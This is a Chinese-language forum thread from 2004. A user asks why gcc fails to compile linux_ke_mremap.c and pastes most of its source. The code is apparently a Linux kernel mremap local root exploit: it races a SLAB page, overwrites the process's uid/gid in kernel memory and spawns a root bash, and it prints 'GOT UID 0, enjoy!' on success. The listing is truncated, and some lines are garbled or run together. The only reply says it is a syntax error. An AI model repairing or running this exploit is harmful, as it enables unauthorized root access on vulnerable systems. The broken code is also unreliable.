QQ登录

只需一步,快速开始

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 604|回复: 1

gcc编译出错,求助!!

[复制链接]
发表于 2004-11-29 22:18:41 | 显示全部楼层 |阅读模式
我在网上找到一段c的源代码,用gcc编译时出现下面错误,我实在不明白是怎么回事,我的gcc 版本是 version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3)

[root@afu-linux hack]# gcc -o linux_ke_mremap linux_ke_mremap.c
linux_ke_mremap.c:40: error: syntax error before "sys_mremap"
linux_ke_mremap.c:40: warning: data definition has no type or storage class
[root@afu-linux hack]#

以下是linux_ke_mremap.c的源代码

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>

#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>

#include <asm/page.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define str(s)  #s
#define xstr(s) str(s)

#define DSIGNAL         SIGCHLD
#define CLONEFL         (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)#define PAGEADDR        0x2000

#define RNDINT          512

#define NUMVMA          (3 * 5 * 257)
#define NUMFORK         (17 * 65537)

#define DUPTO           1000
#define TMPLEN          256

#define __NR_sys_mremap 163

_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long new_len, unsigned long flags, unsigned long new_addr);


static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
gid;
static volatile int *vma_ro, *vma_rw, *tmp;
static volatile unsigned fake_file[16];


void fatal(const char * msg)
{
        printf("\n");
        if (!errno) {
                fprintf(stderr, "FATAL: %s\n", msg);
        } else {
                perror(msg);
        }

        printf("\nentering endless loop");
        fflush(stdout);
        fflush(stderr);
        while (1) pause();
}

void kernel_code(void * file, loff_t offset, int origin)
{
        int i, c;
        int *v;

        if (!file)
                goto out;

        __asm__("movl   %%esp, %0" : : "m" (c));

        c &= 0xffffe000;
        v = (void *) c;

        for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
                if (v == uid && v[i+1] == uid) {
                        i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
                }
                if (v == gid) {
                        v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
                        break;
                }
        }
out:
        dummy++;
}

void try_to_exploit(void)
{
        int v = 0;

        v += fops[0];
        v += fake_file[0];

        kernel_code(0, 0, v);
        lseek(DUPTO, 0, SEEK_SET);

        if (geteuid()) {
                printf("\nFAILED uid!=0"); fflush(stdout);
                errno =- ENOSYS;
                fatal("uid change");
        }

        printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

        kill(ppid, SIGUSR1);
        setresuid(0, 0, 0);
        sleep(1);

        printf("\n\n"); fflush(stdout);

        execl("/bin/bash", "bash", NULL);
        fatal("burp");
}

void cleanup(int v)
{
        victim[DUPTO] = victim[0];
        kill(0, SIGUSR2);
}


void redirect_filp(int v)
{
        printf("\n[!] parent check race... "); fflush(stdout);

        if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
                printf("SUCCESS, cought SLAB page!"); fflush(stdout);
                victim[DUPTO] = (unsigned) & fake_file;
                signal(SIGUSR1, &cleanup);
                kill(pid, SIGUSR1);
        } else {
                printf("FAILED!");
        }
        fflush(stdout);
}
发表于 2004-11-30 17:21:29 | 显示全部楼层
syntax error before "sys_mremap“
语法错误
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

GMT+8, 2024-9-18 17:07 , Processed in 0.052215 second(s), 16 queries .

© 2021 Powered by Discuz! X3.5.

快速回复 返回顶部 返回列表